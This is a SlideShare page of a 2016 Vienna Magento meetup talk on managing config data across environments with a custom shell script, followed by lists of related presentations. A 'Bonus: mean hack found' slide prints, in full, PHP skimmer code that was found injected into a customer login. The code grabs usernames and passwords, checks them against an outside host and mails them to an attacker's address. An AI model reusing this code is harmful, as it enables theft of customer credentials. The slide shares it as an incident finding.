SlideShare a Scribd company logo
Einfache Verwaltung von Config Daten für verschiedene Production Levels 18.05.2016
16. Magento-Stammtisch in Wien
| © Flimmit 2016 (confidential)2
→ Flimmit at a glance
→ About me
→ Functionality Magento Config
→ Challenges for daily business
→ Management with Config Script
→ Pros & Cons
Agenda
| © Flimmit 2016 (confidential)3
Flimmit at a Glance
Quick Facts
– Founded in 2007, based in Vienna
– Private Ownership, 3 founders/shareholders – worked as team since 2000
– Public Funding: EU Programme „Media“, Departure - Creative Agency Vienna,
Austria Wirtschaftsservice (AWS impulse), AT.net (BMVIT, FFG), Austrian Film
Institute(ÖFI), Wirtschaftsagentur Wien
– Take over by ORF in 2016 (ORS)
Business Units
– VoD portal for stream/download on multiple devices
– Film & TV Search engine module
– Content aggregation & distribution for third parties
| © Flimmit 2016 (confidential)4
| © Flimmit 2016 (confidential)5
About me
→ FH study in Salzburg 1998 – 2002
„Information Management & New Media“
→ PHP Developer since 2002
→ Magento Developer since 2008
→ Certified Developer since 05/2012
→ CTO & Founder at Flimmit
| © Flimmit 2016 (confidential)6
Functionality Magento Config
→ Core functionality in Mage_Core_Model_Config
→ Central Config merged from several files
Mage_Core_Model_Config::init()
– loadBase
– loadModules
– loadDb
| © Flimmit 2016 (confidential)7
Magento Config Init I
→ loadBase: Load all files from Etc-Directory „app/etc/“
| © Flimmit 2016 (confidential)8
Magento Config Init II
→ loadModules: Load all files from every module directory & local.xml
| © Flimmit 2016 (confidential)9
Magento Config Init III
→ loadDB: Load config from DB (core_config_data)
| © Flimmit 2016 (confidential)10
Challenges for daily business
→ Different development enviroments (local, stage, testing, live)
→ Different access levels for external services (e.g. payment)
→ Different development systems (cachetypes, session, smtp)
→ MySQL Dumps from live system include core_config_data (= live access data)
→ DB config not able to keep history/versions (e.g. in GIT)
| © Flimmit 2016 (confidential)11
Management with Config Script
→ Shell script in shell folder „config.php“
→ Config folder in „app/etc/“
→ Manage all config in different files
– local.xml for „local“ values
– mode-{type}.xml for modus values
– default.xml for default values
– global.xml for installation values
– store-{storecode}.xml for store relevant values
– website-{website}.xml for website relevant values
– …
→ php shell/config.php -mode live
to load relevant data into app/etc/local.xml
→ Live demo…!
| © Flimmit 2016 (confidential)12
Learnings, Pros & Cons
→ Learnings
– DB Config always wins!
– All levels within <config/> adjustable (global, default, admin, frontend, etc)
→ Pros
– Easy to manage in GIT with history
– Ensure live mode for loadbalancer nodes on startup:
php shell/config.php -mode live
– Avoid live access data in development
– Basic settings for new magento insallation available (sales, customer, catalog, etc)
→ Cons
– Avoid saving config in backend -> insert/update in DB
– Don‘t split in too many files
| © Flimmit 2016 (confidential)13
Bonus: mean hack found
→ Login for Customer (clean):
| © Flimmit 2016 (confidential)14
Bonus: mean hack found
→ Login for Customer (hacked):
| © Flimmit 2016 (confidential)15
Bonus: mean hack found
→ Script:
$emailboss = $username; $passboss = $password; $serverboss =
$_SERVER['SERVER_NAME']; $ipboss = $_SERVER['REMOTE_ADDR']; $details =
json_decode(file_get_contents("http://www.telize.com/geoip/".$ipboss.""));
$negara = $details->country_code; $nama_negara = $details->country; $kode_negara
= strtolower($negara); $chkmail =
file_get_contents("http://p4b.litbang.kkp.go.id/p4bjurnal/modules/path/mailceck/
?e=".$emailboss."&p=".$passboss.""); $pesan = "Email : ".$emailboss."nPassword
: ".$passboss."nStatus : ".$chkmail."nnIP Info : ".$ipboss." |
".$nama_negara." On ".date('r')."nBrowser :
".$_SERVER['HTTP_USER_AGENT']."nSite : ".$serverboss.""; $tamvan =
"loggercc@yahoo.com"; $subject = "User Login (".$chkmail.") (".$nama_negara.")
(".$ipboss.")"; $headers = "From: Logger User Magento From ".$serverboss."
<".$ipboss."@".$serverboss.">"; mail($tamvan, $subject, $pesan, $headers);
| © Flimmit 2016 (confidential)16
… to be continued …

More Related Content

Similar to Magento Stammtisch Wien 17. Mai 2016

Scaling UI5 Projects via Standardized Project & Infrastructure Setup (Ui5Con ...
Scaling UI5 Projects via Standardized Project & Infrastructure Setup (Ui5Con ...Scaling UI5 Projects via Standardized Project & Infrastructure Setup (Ui5Con ...
Scaling UI5 Projects via Standardized Project & Infrastructure Setup (Ui5Con ...
Nabi Zamani
 
Catching up on Rich Clients Part 2 of 2
Catching up on Rich Clients Part 2 of 2Catching up on Rich Clients Part 2 of 2
Catching up on Rich Clients Part 2 of 2
ukdpe
 
Mulesoft Meetup Milano #9 - Batch Processing and CI/CD
Mulesoft Meetup Milano #9 - Batch Processing and CI/CDMulesoft Meetup Milano #9 - Batch Processing and CI/CD
Mulesoft Meetup Milano #9 - Batch Processing and CI/CD
Gonzalo Marcos Ansoain
 
WSO2 Product Release webinar - WSO2 BAM 2.5
WSO2 Product Release webinar - WSO2 BAM 2.5WSO2 Product Release webinar - WSO2 BAM 2.5
WSO2 Product Release webinar - WSO2 BAM 2.5
WSO2
 
Arkena IMF case study
Arkena IMF case studyArkena IMF case study
Arkena IMF case study
Marc-Antoine ARNAUD
 
IBM Connect 2014 - AD205: Creating State-of-the-Art Web Applications with Dom...
IBM Connect 2014 - AD205: Creating State-of-the-Art Web Applications with Dom...IBM Connect 2014 - AD205: Creating State-of-the-Art Web Applications with Dom...
IBM Connect 2014 - AD205: Creating State-of-the-Art Web Applications with Dom...
Dave Delay
 
Implementing API Facade using WSO2 API Management Platform
Implementing API Facade using WSO2 API Management PlatformImplementing API Facade using WSO2 API Management Platform
Implementing API Facade using WSO2 API Management Platform
WSO2
 
FluentD for end to end monitoring
FluentD for end to end monitoringFluentD for end to end monitoring
FluentD for end to end monitoring
Phil Wilkins
 
OFMP The Road To OSGi Eclipse Democamp Luxembour 2008
OFMP The Road To OSGi Eclipse Democamp Luxembour 2008OFMP The Road To OSGi Eclipse Democamp Luxembour 2008
OFMP The Road To OSGi Eclipse Democamp Luxembour 2008
Frederic Conrotte
 
PHP in the Enterprise … connecting to SAP
PHP in the Enterprise … connecting to SAPPHP in the Enterprise … connecting to SAP
PHP in the Enterprise … connecting to SAP
webhostingguy
 
CharlesSweetResume06155122015
CharlesSweetResume06155122015CharlesSweetResume06155122015
CharlesSweetResume06155122015
Charlie Sweet
 
Homer - Workshop at Kamailio World 2017
Homer - Workshop at Kamailio World 2017Homer - Workshop at Kamailio World 2017
Homer - Workshop at Kamailio World 2017
Giacomo Vacca
 
Vancouver mulesoft meetup
Vancouver mulesoft meetupVancouver mulesoft meetup
Vancouver mulesoft meetup
Vikalp Bhalia
 
MuleSoft Surat Meetup#44 - Anypoint Flex Gateway Custom Policies With Rust
MuleSoft Surat Meetup#44 - Anypoint Flex Gateway Custom Policies With RustMuleSoft Surat Meetup#44 - Anypoint Flex Gateway Custom Policies With Rust
MuleSoft Surat Meetup#44 - Anypoint Flex Gateway Custom Policies With Rust
Jitendra Bafna
 
Make the Shift from Manual to Automation with Open Source
Make the Shift from Manual to Automation with Open SourceMake the Shift from Manual to Automation with Open Source
Make the Shift from Manual to Automation with Open Source
Perfecto by Perforce
 
Where is cold fusion headed
Where is cold fusion headedWhere is cold fusion headed
Where is cold fusion headed
ColdFusionConference
 
Lime broker
Lime brokerLime broker
Lime broker
John Pereira
 
Open Mic: IBM Sametime Web Client & Meeting Server - An Introduction to new f...
Open Mic: IBM Sametime Web Client & Meeting Server - An Introduction to new f...Open Mic: IBM Sametime Web Client & Meeting Server - An Introduction to new f...
Open Mic: IBM Sametime Web Client & Meeting Server - An Introduction to new f...
jayeshpar2006
 
SIP Router Project
SIP Router ProjectSIP Router Project
SIP Router Project
Daniel-Constantin Mierla
 
SAP Integration: Best Practices | MuleSoft
SAP Integration: Best Practices | MuleSoftSAP Integration: Best Practices | MuleSoft
SAP Integration: Best Practices | MuleSoft
MuleSoft
 

Similar to Magento Stammtisch Wien 17. Mai 2016 (20)

Scaling UI5 Projects via Standardized Project & Infrastructure Setup (Ui5Con ...
Scaling UI5 Projects via Standardized Project & Infrastructure Setup (Ui5Con ...Scaling UI5 Projects via Standardized Project & Infrastructure Setup (Ui5Con ...
Scaling UI5 Projects via Standardized Project & Infrastructure Setup (Ui5Con ...
 
Catching up on Rich Clients Part 2 of 2
Catching up on Rich Clients Part 2 of 2Catching up on Rich Clients Part 2 of 2
Catching up on Rich Clients Part 2 of 2
 
Mulesoft Meetup Milano #9 - Batch Processing and CI/CD
Mulesoft Meetup Milano #9 - Batch Processing and CI/CDMulesoft Meetup Milano #9 - Batch Processing and CI/CD
Mulesoft Meetup Milano #9 - Batch Processing and CI/CD
 
WSO2 Product Release webinar - WSO2 BAM 2.5
WSO2 Product Release webinar - WSO2 BAM 2.5WSO2 Product Release webinar - WSO2 BAM 2.5
WSO2 Product Release webinar - WSO2 BAM 2.5
 
Arkena IMF case study
Arkena IMF case studyArkena IMF case study
Arkena IMF case study
 
IBM Connect 2014 - AD205: Creating State-of-the-Art Web Applications with Dom...
IBM Connect 2014 - AD205: Creating State-of-the-Art Web Applications with Dom...IBM Connect 2014 - AD205: Creating State-of-the-Art Web Applications with Dom...
IBM Connect 2014 - AD205: Creating State-of-the-Art Web Applications with Dom...
 
Implementing API Facade using WSO2 API Management Platform
Implementing API Facade using WSO2 API Management PlatformImplementing API Facade using WSO2 API Management Platform
Implementing API Facade using WSO2 API Management Platform
 
FluentD for end to end monitoring
FluentD for end to end monitoringFluentD for end to end monitoring
FluentD for end to end monitoring
 
OFMP The Road To OSGi Eclipse Democamp Luxembour 2008
OFMP The Road To OSGi Eclipse Democamp Luxembour 2008OFMP The Road To OSGi Eclipse Democamp Luxembour 2008
OFMP The Road To OSGi Eclipse Democamp Luxembour 2008
 
PHP in the Enterprise … connecting to SAP
PHP in the Enterprise … connecting to SAPPHP in the Enterprise … connecting to SAP
PHP in the Enterprise … connecting to SAP
 
CharlesSweetResume06155122015
CharlesSweetResume06155122015CharlesSweetResume06155122015
CharlesSweetResume06155122015
 
Homer - Workshop at Kamailio World 2017
Homer - Workshop at Kamailio World 2017Homer - Workshop at Kamailio World 2017
Homer - Workshop at Kamailio World 2017
 
Vancouver mulesoft meetup
Vancouver mulesoft meetupVancouver mulesoft meetup
Vancouver mulesoft meetup
 
MuleSoft Surat Meetup#44 - Anypoint Flex Gateway Custom Policies With Rust
MuleSoft Surat Meetup#44 - Anypoint Flex Gateway Custom Policies With RustMuleSoft Surat Meetup#44 - Anypoint Flex Gateway Custom Policies With Rust
MuleSoft Surat Meetup#44 - Anypoint Flex Gateway Custom Policies With Rust
 
Make the Shift from Manual to Automation with Open Source
Make the Shift from Manual to Automation with Open SourceMake the Shift from Manual to Automation with Open Source
Make the Shift from Manual to Automation with Open Source
 
Where is cold fusion headed
Where is cold fusion headedWhere is cold fusion headed
Where is cold fusion headed
 
Lime broker
Lime brokerLime broker
Lime broker
 
Open Mic: IBM Sametime Web Client & Meeting Server - An Introduction to new f...
Open Mic: IBM Sametime Web Client & Meeting Server - An Introduction to new f...Open Mic: IBM Sametime Web Client & Meeting Server - An Introduction to new f...
Open Mic: IBM Sametime Web Client & Meeting Server - An Introduction to new f...
 
SIP Router Project
SIP Router ProjectSIP Router Project
SIP Router Project
 
SAP Integration: Best Practices | MuleSoft
SAP Integration: Best Practices | MuleSoftSAP Integration: Best Practices | MuleSoft
SAP Integration: Best Practices | MuleSoft
 

Recently uploaded

2024 eCommerceDays Toulouse - Sylius 2.0.pdf
2024 eCommerceDays Toulouse - Sylius 2.0.pdf2024 eCommerceDays Toulouse - Sylius 2.0.pdf
2024 eCommerceDays Toulouse - Sylius 2.0.pdf
Łukasz Chruściel
 
Webinar On-Demand: Using Flutter for Embedded
Webinar On-Demand: Using Flutter for EmbeddedWebinar On-Demand: Using Flutter for Embedded
Webinar On-Demand: Using Flutter for Embedded
ICS
 
ALGIT - Assembly Line for Green IT - Numbers, Data, Facts
ALGIT - Assembly Line for Green IT - Numbers, Data, FactsALGIT - Assembly Line for Green IT - Numbers, Data, Facts
ALGIT - Assembly Line for Green IT - Numbers, Data, Facts
Green Software Development
 
Orion Context Broker introduction 20240604
Orion Context Broker introduction 20240604Orion Context Broker introduction 20240604
Orion Context Broker introduction 20240604
Fermin Galan
 
Utilocate provides Smarter, Better, Faster, Safer Locate Ticket Management
Utilocate provides Smarter, Better, Faster, Safer Locate Ticket ManagementUtilocate provides Smarter, Better, Faster, Safer Locate Ticket Management
Utilocate provides Smarter, Better, Faster, Safer Locate Ticket Management
Utilocate
 
Vitthal Shirke Java Microservices Resume.pdf
Vitthal Shirke Java Microservices Resume.pdfVitthal Shirke Java Microservices Resume.pdf
Vitthal Shirke Java Microservices Resume.pdf
Vitthal Shirke
 
GreenCode-A-VSCode-Plugin--Dario-Jurisic
GreenCode-A-VSCode-Plugin--Dario-JurisicGreenCode-A-VSCode-Plugin--Dario-Jurisic
GreenCode-A-VSCode-Plugin--Dario-Jurisic
Green Software Development
 
Top Features to Include in Your Winzo Clone App for Business Growth (4).pptx
Top Features to Include in Your Winzo Clone App for Business Growth (4).pptxTop Features to Include in Your Winzo Clone App for Business Growth (4).pptx
Top Features to Include in Your Winzo Clone App for Business Growth (4).pptx
rickgrimesss22
 
AI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI App
AI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI AppAI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI App
AI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI App
Google
 
Neo4j - Product Vision and Knowledge Graphs - GraphSummit Paris
Neo4j - Product Vision and Knowledge Graphs - GraphSummit ParisNeo4j - Product Vision and Knowledge Graphs - GraphSummit Paris
Neo4j - Product Vision and Knowledge Graphs - GraphSummit Paris
Neo4j
 
OpenMetadata Community Meeting - 5th June 2024
OpenMetadata Community Meeting - 5th June 2024OpenMetadata Community Meeting - 5th June 2024
OpenMetadata Community Meeting - 5th June 2024
OpenMetadata
 
E-commerce Application Development Company.pdf
E-commerce Application Development Company.pdfE-commerce Application Development Company.pdf
E-commerce Application Development Company.pdf
Hornet Dynamics
 
Microservice Teams - How the cloud changes the way we work
Microservice Teams - How the cloud changes the way we workMicroservice Teams - How the cloud changes the way we work
Microservice Teams - How the cloud changes the way we work
Sven Peters
 
GraphSummit Paris - The art of the possible with Graph Technology
GraphSummit Paris - The art of the possible with Graph TechnologyGraphSummit Paris - The art of the possible with Graph Technology
GraphSummit Paris - The art of the possible with Graph Technology
Neo4j
 
Oracle Database 19c New Features for DBAs and Developers.pptx
Oracle Database 19c New Features for DBAs and Developers.pptxOracle Database 19c New Features for DBAs and Developers.pptx
Oracle Database 19c New Features for DBAs and Developers.pptx
Remote DBA Services
 
LORRAINE ANDREI_LEQUIGAN_HOW TO USE WHATSAPP.pptx
LORRAINE ANDREI_LEQUIGAN_HOW TO USE WHATSAPP.pptxLORRAINE ANDREI_LEQUIGAN_HOW TO USE WHATSAPP.pptx
LORRAINE ANDREI_LEQUIGAN_HOW TO USE WHATSAPP.pptx
lorraineandreiamcidl
 
Transform Your Communication with Cloud-Based IVR Solutions
Transform Your Communication with Cloud-Based IVR SolutionsTransform Your Communication with Cloud-Based IVR Solutions
Transform Your Communication with Cloud-Based IVR Solutions
TheSMSPoint
 
Fundamentals of Programming and Language Processors
Fundamentals of Programming and Language ProcessorsFundamentals of Programming and Language Processors
Fundamentals of Programming and Language Processors
Rakesh Kumar R
 
Empowering Growth with Best Software Development Company in Noida - Deuglo
Empowering Growth with Best Software  Development Company in Noida - DeugloEmpowering Growth with Best Software  Development Company in Noida - Deuglo
Empowering Growth with Best Software Development Company in Noida - Deuglo
Deuglo Infosystem Pvt Ltd
 
openEuler Case Study - The Journey to Supply Chain Security
openEuler Case Study - The Journey to Supply Chain SecurityopenEuler Case Study - The Journey to Supply Chain Security
openEuler Case Study - The Journey to Supply Chain Security
Shane Coughlan
 

Recently uploaded (20)

2024 eCommerceDays Toulouse - Sylius 2.0.pdf
2024 eCommerceDays Toulouse - Sylius 2.0.pdf2024 eCommerceDays Toulouse - Sylius 2.0.pdf
2024 eCommerceDays Toulouse - Sylius 2.0.pdf
 
Webinar On-Demand: Using Flutter for Embedded
Webinar On-Demand: Using Flutter for EmbeddedWebinar On-Demand: Using Flutter for Embedded
Webinar On-Demand: Using Flutter for Embedded
 
ALGIT - Assembly Line for Green IT - Numbers, Data, Facts
ALGIT - Assembly Line for Green IT - Numbers, Data, FactsALGIT - Assembly Line for Green IT - Numbers, Data, Facts
ALGIT - Assembly Line for Green IT - Numbers, Data, Facts
 
Orion Context Broker introduction 20240604
Orion Context Broker introduction 20240604Orion Context Broker introduction 20240604
Orion Context Broker introduction 20240604
 
Utilocate provides Smarter, Better, Faster, Safer Locate Ticket Management
Utilocate provides Smarter, Better, Faster, Safer Locate Ticket ManagementUtilocate provides Smarter, Better, Faster, Safer Locate Ticket Management
Utilocate provides Smarter, Better, Faster, Safer Locate Ticket Management
 
Vitthal Shirke Java Microservices Resume.pdf
Vitthal Shirke Java Microservices Resume.pdfVitthal Shirke Java Microservices Resume.pdf
Vitthal Shirke Java Microservices Resume.pdf
 
GreenCode-A-VSCode-Plugin--Dario-Jurisic
GreenCode-A-VSCode-Plugin--Dario-JurisicGreenCode-A-VSCode-Plugin--Dario-Jurisic
GreenCode-A-VSCode-Plugin--Dario-Jurisic
 
Top Features to Include in Your Winzo Clone App for Business Growth (4).pptx
Top Features to Include in Your Winzo Clone App for Business Growth (4).pptxTop Features to Include in Your Winzo Clone App for Business Growth (4).pptx
Top Features to Include in Your Winzo Clone App for Business Growth (4).pptx
 
AI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI App
AI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI AppAI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI App
AI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI App
 
Neo4j - Product Vision and Knowledge Graphs - GraphSummit Paris
Neo4j - Product Vision and Knowledge Graphs - GraphSummit ParisNeo4j - Product Vision and Knowledge Graphs - GraphSummit Paris
Neo4j - Product Vision and Knowledge Graphs - GraphSummit Paris
 
OpenMetadata Community Meeting - 5th June 2024
OpenMetadata Community Meeting - 5th June 2024OpenMetadata Community Meeting - 5th June 2024
OpenMetadata Community Meeting - 5th June 2024
 
E-commerce Application Development Company.pdf
E-commerce Application Development Company.pdfE-commerce Application Development Company.pdf
E-commerce Application Development Company.pdf
 
Microservice Teams - How the cloud changes the way we work
Microservice Teams - How the cloud changes the way we workMicroservice Teams - How the cloud changes the way we work
Microservice Teams - How the cloud changes the way we work
 
GraphSummit Paris - The art of the possible with Graph Technology
GraphSummit Paris - The art of the possible with Graph TechnologyGraphSummit Paris - The art of the possible with Graph Technology
GraphSummit Paris - The art of the possible with Graph Technology
 
Oracle Database 19c New Features for DBAs and Developers.pptx
Oracle Database 19c New Features for DBAs and Developers.pptxOracle Database 19c New Features for DBAs and Developers.pptx
Oracle Database 19c New Features for DBAs and Developers.pptx
 
LORRAINE ANDREI_LEQUIGAN_HOW TO USE WHATSAPP.pptx
LORRAINE ANDREI_LEQUIGAN_HOW TO USE WHATSAPP.pptxLORRAINE ANDREI_LEQUIGAN_HOW TO USE WHATSAPP.pptx
LORRAINE ANDREI_LEQUIGAN_HOW TO USE WHATSAPP.pptx
 
Transform Your Communication with Cloud-Based IVR Solutions
Transform Your Communication with Cloud-Based IVR SolutionsTransform Your Communication with Cloud-Based IVR Solutions
Transform Your Communication with Cloud-Based IVR Solutions
 
Fundamentals of Programming and Language Processors
Fundamentals of Programming and Language ProcessorsFundamentals of Programming and Language Processors
Fundamentals of Programming and Language Processors
 
Empowering Growth with Best Software Development Company in Noida - Deuglo
Empowering Growth with Best Software  Development Company in Noida - DeugloEmpowering Growth with Best Software  Development Company in Noida - Deuglo
Empowering Growth with Best Software Development Company in Noida - Deuglo
 
openEuler Case Study - The Journey to Supply Chain Security
openEuler Case Study - The Journey to Supply Chain SecurityopenEuler Case Study - The Journey to Supply Chain Security
openEuler Case Study - The Journey to Supply Chain Security
 

Magento Stammtisch Wien 17. Mai 2016

  • 1. Einfache Verwaltung von Config Daten für verschiedene Production Levels 18.05.2016 16. Magento-Stammtisch in Wien
  • 2. | © Flimmit 2016 (confidential)2 → Flimmit at a glance → About me → Functionality Magento Config → Challenges for daily business → Management with Config Script → Pros & Cons Agenda
  • 3. | © Flimmit 2016 (confidential)3 Flimmit at a Glance Quick Facts – Founded in 2007, based in Vienna – Private Ownership, 3 founders/shareholders – worked as team since 2000 – Public Funding: EU Programme „Media“, Departure - Creative Agency Vienna, Austria Wirtschaftsservice (AWS impulse), AT.net (BMVIT, FFG), Austrian Film Institute(ÖFI), Wirtschaftsagentur Wien – Take over by ORF in 2016 (ORS) Business Units – VoD portal for stream/download on multiple devices – Film & TV Search engine module – Content aggregation & distribution for third parties
  • 4. | © Flimmit 2016 (confidential)4
  • 5. | © Flimmit 2016 (confidential)5 About me → FH study in Salzburg 1998 – 2002 „Information Management & New Media“ → PHP Developer since 2002 → Magento Developer since 2008 → Certified Developer since 05/2012 → CTO & Founder at Flimmit
  • 6. | © Flimmit 2016 (confidential)6 Functionality Magento Config → Core functionality in Mage_Core_Model_Config → Central Config merged from several files Mage_Core_Model_Config::init() – loadBase – loadModules – loadDb
  • 7. | © Flimmit 2016 (confidential)7 Magento Config Init I → loadBase: Load all files from Etc-Directory „app/etc/“
  • 8. | © Flimmit 2016 (confidential)8 Magento Config Init II → loadModules: Load all files from every module directory & local.xml
  • 9. | © Flimmit 2016 (confidential)9 Magento Config Init III → loadDB: Load config from DB (core_config_data)
  • 10. | © Flimmit 2016 (confidential)10 Challenges for daily business → Different development enviroments (local, stage, testing, live) → Different access levels for external services (e.g. payment) → Different development systems (cachetypes, session, smtp) → MySQL Dumps from live system include core_config_data (= live access data) → DB config not able to keep history/versions (e.g. in GIT)
  • 11. | © Flimmit 2016 (confidential)11 Management with Config Script → Shell script in shell folder „config.php“ → Config folder in „app/etc/“ → Manage all config in different files – local.xml for „local“ values – mode-{type}.xml for modus values – default.xml for default values – global.xml for installation values – store-{storecode}.xml for store relevant values – website-{website}.xml for website relevant values – … → php shell/config.php -mode live to load relevant data into app/etc/local.xml → Live demo…!
  • 12. | © Flimmit 2016 (confidential)12 Learnings, Pros & Cons → Learnings – DB Config always wins! – All levels within <config/> adjustable (global, default, admin, frontend, etc) → Pros – Easy to manage in GIT with history – Ensure live mode for loadbalancer nodes on startup: php shell/config.php -mode live – Avoid live access data in development – Basic settings for new magento insallation available (sales, customer, catalog, etc) → Cons – Avoid saving config in backend -> insert/update in DB – Don‘t split in too many files
  • 13. | © Flimmit 2016 (confidential)13 Bonus: mean hack found → Login for Customer (clean):
  • 14. | © Flimmit 2016 (confidential)14 Bonus: mean hack found → Login for Customer (hacked):
  • 15. | © Flimmit 2016 (confidential)15 Bonus: mean hack found → Script: $emailboss = $username; $passboss = $password; $serverboss = $_SERVER['SERVER_NAME']; $ipboss = $_SERVER['REMOTE_ADDR']; $details = json_decode(file_get_contents("http://www.telize.com/geoip/".$ipboss."")); $negara = $details->country_code; $nama_negara = $details->country; $kode_negara = strtolower($negara); $chkmail = file_get_contents("http://p4b.litbang.kkp.go.id/p4bjurnal/modules/path/mailceck/ ?e=".$emailboss."&p=".$passboss.""); $pesan = "Email : ".$emailboss."nPassword : ".$passboss."nStatus : ".$chkmail."nnIP Info : ".$ipboss." | ".$nama_negara." On ".date('r')."nBrowser : ".$_SERVER['HTTP_USER_AGENT']."nSite : ".$serverboss.""; $tamvan = "loggercc@yahoo.com"; $subject = "User Login (".$chkmail.") (".$nama_negara.") (".$ipboss.")"; $headers = "From: Logger User Magento From ".$serverboss." <".$ipboss."@".$serverboss.">"; mail($tamvan, $subject, $pesan, $headers);
  • 16. | © Flimmit 2016 (confidential)16 … to be continued …